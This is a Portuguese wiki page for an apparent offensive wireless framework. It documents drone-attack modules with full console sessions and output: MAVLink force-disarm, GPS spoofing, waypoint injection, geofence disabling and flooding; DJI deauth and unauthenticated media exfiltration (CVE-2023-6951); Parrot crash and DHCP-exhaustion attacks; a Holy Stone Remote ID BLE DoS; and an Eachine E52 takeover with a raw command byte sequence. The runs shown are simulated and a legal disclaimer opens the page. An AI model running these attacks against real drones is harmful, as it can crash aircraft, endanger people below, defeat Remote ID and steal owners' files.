Skip to content

Seguranca Drones

André Henrique edited this page Jun 8, 2026 · 1 revision

Idioma: Português (pt-BR) | English: Drone-Security

Segurança de Drones

Aviso Legal: Interferência não autorizada com drones - deauth, desarmamento forçado, spoofing de GPS, injeção de comandos - viola a legislação aeronáutica em todas as jurisdições. Em muitos países constitui crime federal com penalidades severas. Utilize SOMENTE em drones de sua propriedade, em ambientes com blindagem RF, ou mediante autorização escrita explícita do proprietário do drone e da autoridade aeronáutica competente.


Referência de Módulos

Módulo Descrição
drone_scanner Descoberta de drones por impressão digital SSID WiFi (DJI, Parrot, Holy Stone, FPV)
mavlink/mavlink_scanner Scanner de dispositivos MAVLink em UDP 14550 / TCP 5760
mavlink/mavlink_force_disarm Comando de desarmamento forçado via MAV_CMD_COMPONENT_ARM_DISARM
mavlink/mavlink_gps_spoof Injetar NMEA GPS falsificado na estação terrestre / GCS
mavlink/mavlink_waypoint_inject Sobrescrever waypoints da missão ativa
mavlink/mavlink_geofence_disable Desabilitar parâmetros de geocerca via PARAM_SET
mavlink/mavlink_param_dump Dump de todos os parâmetros do autopiloto (auditoria somente leitura)
mavlink/mavlink_flood_dos Flood de mensagens MAVLink - DoS
dji/dji_wifi_scan Scanner de SSID de drone DJI e extrator de versão
dji/dji_deauth Desautenticação WiFi DJI (interrupção de pouso)
dji/dji_quicktransfer_exfil_cve_2023_6951 CVE-2023-6951 - Exfiltração de arquivo DJI QuickTransfer sem autenticação
parrot/parrot_anafi_deauth_cve_2019_3944 CVE-2019-3944 - Desautenticação WiFi Parrot ANAFI
parrot/parrot_anafi_webcrash_cve_2019_3945 CVE-2019-3945 - Crash de API REST Parrot ANAFI
parrot/parrot_anafi_udp_cmd_inject Injeção de comando UDP Parrot ANAFI
parrot/parrot_bebop_dhcp_exhaust_cve_2022_46416 CVE-2022-46416 - Esgotamento do pool DHCP Parrot Bebop
holystone/hsrid01_ble_dos_cve_2024_52876 CVE-2024-52876 - DoS BLE Holy Stone HSRID01
fpv/eachine_e52_tcp_takeover Takeover via replay TCP Eachine E52

Descoberta de Drones

Scanner de SSID WiFi

A maioria dos drones de consumo transmite SSIDs identificáveis. O módulo drone_scanner identifica drones passivamente por padrões de SSID.

wxf > use generic/drones/drone_scanner
wxf (DroneScanner) > set INTERFACE wlan0mon
wxf (DroneScanner) > run

[*] Passive drone discovery on wlan0mon...
[*] Scanning all channels...
[+] DJI Mavic Mini 2   | SSID: MAVIC-MINI-2-3A5B | Ch 6  | RSSI: -52 | MAC: AA:BB:CC:11:22:33
    Fingerprint: DJI WiFi AP (OUI: 60:60:1F)
    Open for: dji_wifi_scan, dji_deauth
[+] Parrot ANAFI        | SSID: ANAFI-E0F1         | Ch 11 | RSSI: -67 | MAC: 90:03:B7:44:55:66
    Fingerprint: Parrot drone (OUI: 90:03:B7)
    Open for: parrot_anafi_deauth_cve_2019_3944, parrot_anafi_webcrash_cve_2019_3945
[+] Unknown FPV         | SSID: WIFI-FPV-CAM       | Ch 1  | RSSI: -71 | MAC: DC:71:96:77:88:99
    Fingerprint: FPV camera controller (OUI: DC:71:96)
[*] Scan complete: 3 drones found

Ataques MAVLink

O MAVLink é o protocolo aberto utilizado por ArduPilot, PX4 e muitos drones comerciais. Opera na porta UDP 14550 ou TCP 5760, sem autenticação por padrão.

Scanner MAVLink

wxf > use generic/drones/mavlink/mavlink_scanner
wxf (MAVLinkScanner) > set TARGET_CIDR 192.168.1.0/24
wxf (MAVLinkScanner) > run

[*] Scanning 192.168.1.0/24 for MAVLink endpoints...
[+] 192.168.1.100:14550/UDP | System ID: 1 | Component: Autopilot
    Firmware: ArduCopter 4.3.7
    Modes available: STABILIZE, ALT_HOLD, AUTO, GUIDED, LOITER, RTL, LAND
    Heartbeat rate: 1 Hz
[+] 192.168.1.101:5760/TCP  | System ID: 255 | Component: GCS
    Software: Mission Planner 1.3.80
[*] Scan complete: 2 MAVLink endpoints found

Desarmamento Forçado

wxf > use generic/drones/mavlink/mavlink_force_disarm
wxf (MAVForceDisarm) > set RHOST 192.168.1.100
wxf (MAVForceDisarm) > set RPORT 14550
wxf (MAVForceDisarm) > set SIMULATE true
wxf (MAVForceDisarm) > run

[SIMULATE] Would send MAV_CMD_COMPONENT_ARM_DISARM
[SIMULATE]   param1=0 (disarm) | param2=21196 (force flag)
[SIMULATE]   Target: udp://192.168.1.100:14550 sysid=1 compid=1
[SIMULATE]   MAVLink v2 message (signed: no)
[!] Set SIMULATE=false to send live command
[!] PREREQ: Network access to drone on UDP 14550
[!] WARNING: Force disarm on an airborne drone causes immediate crash

Spoofing de GPS

wxf > use generic/drones/mavlink/mavlink_gps_spoof
wxf (MAVGPSSpoof) > set RHOST 192.168.1.100
wxf (MAVGPSSpoof) > set LAT -23.5505
wxf (MAVGPSSpoof) > set LON -46.6333
wxf (MAVGPSSpoof) > set ALT 100.0
wxf (MAVGPSSpoof) > set SIMULATE true
wxf (MAVGPSSpoof) > run

[SIMULATE] MAVLink GPS override injection
[SIMULATE]   Target: udp://192.168.1.100:14550
[SIMULATE]   Spoofed position: -23.550500, -46.633300 alt=100.0m
[SIMULATE]   Message: GLOBAL_POSITION_INT / HIL_GPS
[SIMULATE]   Would send continuously at 5 Hz until Ctrl+C
[!] GPS spoofing may trigger geofence violation or RTL
[!] Set SIMULATE=false to inject

Injeção de Waypoints

wxf > use generic/drones/mavlink/mavlink_waypoint_inject
wxf (MAVWaypointInject) > set RHOST 192.168.1.100
wxf (MAVWaypointInject) > set WAYPOINTS [{"lat": -23.5, "lon": -46.6, "alt": 50}]
wxf (MAVWaypointInject) > set SIMULATE true
wxf (MAVWaypointInject) > run

[SIMULATE] MAVLink mission upload
[SIMULATE]   Clearing current mission (MISSION_CLEAR_ALL)
[SIMULATE]   Uploading 1 waypoints
[SIMULATE]   WP0: LAT=-23.5, LON=-46.6, ALT=50m, action=WAYPOINT
[!] Set SIMULATE=false to upload mission

wxf > use generic/drones/mavlink/mavlink_geofence_disable
wxf (MAVGeofenceDisable) > set RHOST 192.168.1.100
wxf (MAVGeofenceDisable) > set SIMULATE true
wxf (MAVGeofenceDisable) > run

[SIMULATE] PARAM_SET FENCE_ENABLE = 0 to 192.168.1.100:14550
[SIMULATE] Geofence disabled: drone can fly outside programmed boundaries
[!] Set SIMULATE=false to send live parameter set

Dump de Parâmetros (Auditoria Somente Leitura)

wxf > use generic/drones/mavlink/mavlink_param_dump
wxf (MAVParamDump) > set RHOST 192.168.1.100
wxf (MAVParamDump) > set OUTPUT_FILE /tmp/mavlink_params.json
wxf (MAVParamDump) > run

[*] Requesting all autopilot parameters from 192.168.1.100:14550...
[+] ARMING_CHECK      = 1
[+] FENCE_ENABLE      = 1
[+] FENCE_TYPE        = 7 (circle+polygon+alt)
[+] FENCE_ACTION      = 1 (RTL on breach)
[+] GPS_TYPE          = 1
[+] LOG_BITMASK       = 176126
[+] SYSID_MYGCS       = 255
...
[*] 847 parameters retrieved.
[+] Saved to /tmp/mavlink_params.json

MAVLink Flood DoS

wxf > use generic/drones/mavlink/mavlink_flood_dos
wxf (MAVFloodDoS) > set RHOST 192.168.1.100
wxf (MAVFloodDoS) > set RPORT 14550
wxf (MAVFloodDoS) > set RATE 1000
wxf (MAVFloodDoS) > set SIMULATE true
wxf (MAVFloodDoS) > run

[SIMULATE] MAVLink UDP flood: 1000 msg/s to 192.168.1.100:14550
[SIMULATE] Message types: HEARTBEAT, REQUEST_DATA_STREAM, COMMAND_LONG
[SIMULATE] Expected effect: autopilot CPU overload, telemetry blackout
[!] Set SIMULATE=false to run

Ataques DJI

Scan WiFi DJI

wxf > use generic/drones/dji/dji_wifi_scan
wxf (DJIWifiScan) > set INTERFACE wlan0mon
wxf (DJIWifiScan) > run

[*] Scanning for DJI drone SSIDs...
[+] Found: MAVIC-MINI-2-3A5B | MAC: 60:60:1F:AA:BB:CC | Ch 6 | RSSI: -52
    DJI OUI: 60:60:1F (confirmed)
    SSID pattern: MAVIC-MINI-2 -> model: Mavic Mini 2
    Firmware estimate: v01.00.0300+ (from beacon IE)
    AP password: not set (open network)
[*] Scan complete. 1 DJI drone found.

Desautenticação WiFi DJI

wxf > use generic/drones/dji/dji_deauth
wxf (DJIDeauth) > set INTERFACE wlan0mon
wxf (DJIDeauth) > set TARGET_BSSID 60:60:1F:AA:BB:CC
wxf (DJIDeauth) > set COUNT 10
wxf (DJIDeauth) > set SIMULATE true
wxf (DJIDeauth) > run

[SIMULATE] Sending 10 deauth frames to 60:60:1F:AA:BB:CC
[SIMULATE] Source: spoofed BSSID | Reason: 0x07 (class 3 frame from nonassoc STA)
[SIMULATE] Effect: RC/app disconnects from drone WiFi -> failsafe RTL or hover
[!] Set SIMULATE=false to transmit
[!] PREREQ: Monitor mode interface (wlan0mon)

CVE-2023-6951 - Exfiltração de Arquivo DJI QuickTransfer

wxf > use generic/drones/dji/dji_quicktransfer_exfil_cve_2023_6951
wxf (DJIQuickTransferExfil) > show info

  Name:     DJI QuickTransfer Unauthenticated File Exfil
  CVE:      CVE-2023-6951
  CVSS:     7.5 (High)
  Target:   DJI Mini 3 Pro, DJI Air 3, DJI RC-N1, DJI RC 2
  Auth:     None required (open WiFi AP)
  Status:   Patched in DJI firmware update 01.01.0200+

  Description:
    DJI QuickTransfer mode exposes an HTTP file server with no authentication.
    An attacker associated to the drone WiFi AP can enumerate and download
    all media files from /DCIM/ without pairing or authentication.

wxf (DJIQuickTransferExfil) > set RHOST 192.168.2.1
wxf (DJIQuickTransferExfil) > set OUTPUT_DIR /tmp/dji_exfil
wxf (DJIQuickTransferExfil) > set SIMULATE true
wxf (DJIQuickTransferExfil) > run

[SIMULATE] CVE-2023-6951: DJI QuickTransfer unauthenticated file access
[SIMULATE] Target: http://192.168.2.1:80
[SIMULATE] Enumerating /DCIM/...
[SIMULATE]   Found: DJI_0001.MP4 (4.2 GB)
[SIMULATE]   Found: DJI_0002.JPG (18 MB)
[SIMULATE]   Found: DJI_0003.JPG (17 MB)
[SIMULATE] Total: 3 files, ~4.2 GB
[SIMULATE] Would download to /tmp/dji_exfil/
[!] Set SIMULATE=false - requires WiFi association to DJI drone
[!] NOTE: Drone must be in QuickTransfer mode (enabled via DJI RC screen)

Ataques Parrot

CVE-2019-3944 - Desautenticação WiFi Parrot ANAFI

wxf > use generic/drones/parrot/parrot_anafi_deauth_cve_2019_3944
wxf (ParrotANAFIDeauth) > show info

  Name:     Parrot ANAFI WiFi Deauthentication
  CVE:      CVE-2019-3944
  CVSS:     6.5 (Medium)
  Target:   Parrot ANAFI (firmware <= 1.6.5)
  Auth:     None required (attacker must be in WiFi range)

  Description:
    The ANAFI drone WiFi network rejects deauth frames but a crafted
    management frame sequence causes the onboard Linux AP to crash,
    disconnecting the RC and triggering autonomous landing.

wxf (ParrotANAFIDeauth) > set INTERFACE wlan0mon
wxf (ParrotANAFIDeauth) > set TARGET_BSSID 90:03:B7:44:55:66
wxf (ParrotANAFIDeauth) > set SIMULATE true
wxf (ParrotANAFIDeauth) > run

[SIMULATE] CVE-2019-3944: Parrot ANAFI deauth sequence
[SIMULATE] Sending crafted management frames to 90:03:B7:44:55:66
[SIMULATE] Expected: AP WiFi daemon crashes, drone enters autonomous landing
[!] Set SIMULATE=false to transmit

CVE-2019-3945 - Crash de API REST Parrot ANAFI

wxf > use generic/drones/parrot/parrot_anafi_webcrash_cve_2019_3945
wxf (ParrotANAFIWebCrash) > set RHOST 192.168.42.1
wxf (ParrotANAFIWebCrash) > set SIMULATE true
wxf (ParrotANAFIWebCrash) > run

[SIMULATE] CVE-2019-3945: Parrot ANAFI REST API crash
[SIMULATE] Target: http://192.168.42.1/api/v1/
[SIMULATE] Sending malformed HTTP request to crash httpd on drone
[SIMULATE] Effect: drone REST API becomes unavailable, controller loses telemetry
[!] Set SIMULATE=false - requires WiFi association to Parrot ANAFI network

CVE-2022-46416 - Esgotamento de Pool DHCP Parrot Bebop

wxf > use generic/drones/parrot/parrot_bebop_dhcp_exhaust_cve_2022_46416
wxf (ParrotBebopDHCP) > show info

  CVE:   CVE-2022-46416
  CVSS:  7.5 (High)
  Target: Parrot Bebop 2 (all firmware)
  Effect: DHCP pool exhaustion - legitimate RC cannot obtain IP, loses control

wxf (ParrotBebopDHCP) > set INTERFACE wlan0
wxf (ParrotBebopDHCP) > set SIMULATE true
wxf (ParrotBebopDHCP) > run

[SIMULATE] CVE-2022-46416: Parrot Bebop DHCP exhaustion
[SIMULATE] Sending DHCPDISCOVER with randomized MAC addresses
[SIMULATE] Bebop DHCP pool: /28 (14 hosts) - exhaust in ~14 requests
[SIMULATE] Effect: legitimate RC cannot join network, drone loses control link
[!] Set SIMULATE=false - requires WiFi association to Parrot Bebop network

Ataques Holy Stone

CVE-2024-52876 - DoS BLE Holy Stone HSRID01

wxf > use generic/drones/holystone/hsrid01_ble_dos_cve_2024_52876
wxf (HSRIDDoS) > show info

  Name:     Holy Stone HSRID01 BLE DoS
  CVE:      CVE-2024-52876
  CVSS:     6.5 (Medium)
  Target:   Holy Stone HSRID01 drone ID module
  Auth:     None required (BLE range)

  Description:
    The HSRID01 Remote ID module broadcasts drone position via BLE.
    A malformed BLE GATT write to the firmware update characteristic
    causes the module to crash and stop broadcasting, violating
    FAA/EASA Remote ID requirements.

wxf (HSRIDDoS) > set TARGET_MAC AA:BB:CC:DD:EE:FF
wxf (HSRIDDoS) > set SIMULATE true
wxf (HSRIDDoS) > run

[SIMULATE] CVE-2024-52876: HSRID01 BLE DoS
[SIMULATE] Target: AA:BB:CC:DD:EE:FF (Holy Stone HSRID01)
[SIMULATE] Connecting via BLE GATT...
[SIMULATE] Writing malformed payload to firmware characteristic 0xFF01
[SIMULATE] Expected: module crashes, Remote ID broadcast stops
[!] Set SIMULATE=false - requires BLE adapter (BlueZ)

Ataques FPV / Drones Econômicos

Takeover TCP Eachine E52

wxf > use generic/drones/fpv/eachine_e52_tcp_takeover
wxf (EachineE52) > show info

  Name:     Eachine E52 TCP Replay Takeover
  Target:   Eachine E52 (and clones with same firmware)
  Auth:     None required (drone WiFi open)

  Description:
    The Eachine E52 uses an unencrypted, unauthenticated TCP control protocol
    on port 8080. By replaying captured command sequences, an attacker can
    take full control of the drone including takeoff, landing, and direction.

wxf (EachineE52) > set RHOST 192.168.1.1
wxf (EachineE52) > set COMMAND land
wxf (EachineE52) > set SIMULATE true
wxf (EachineE52) > run

[SIMULATE] Eachine E52 TCP command injection
[SIMULATE] Target: tcp://192.168.1.1:8080
[SIMULATE] Command: LAND (byte sequence: 66 05 04 00 00 00 00 00 68)
[SIMULATE] No authentication required - any device on the drone WiFi can send commands
[!] Set SIMULATE=false - requires WiFi association to E52 AP (SSID: WIFI-FPV-XXXX)

Páginas relacionadas: Ataques Sub-GHz | Segurança Marítima | Ataques Wi-Fi


Autor: André Henrique (@mrhenrike) | União Geek

WirelessXPL-Forge v1.8.0

Home-pt-BR | Home


Português (pt-BR)

Primeiros Passos

Ataques Wireless

Drones e UAV

Protocolos Especializados

Ferramentas de Pentest

Hardware

Clone this wiki locally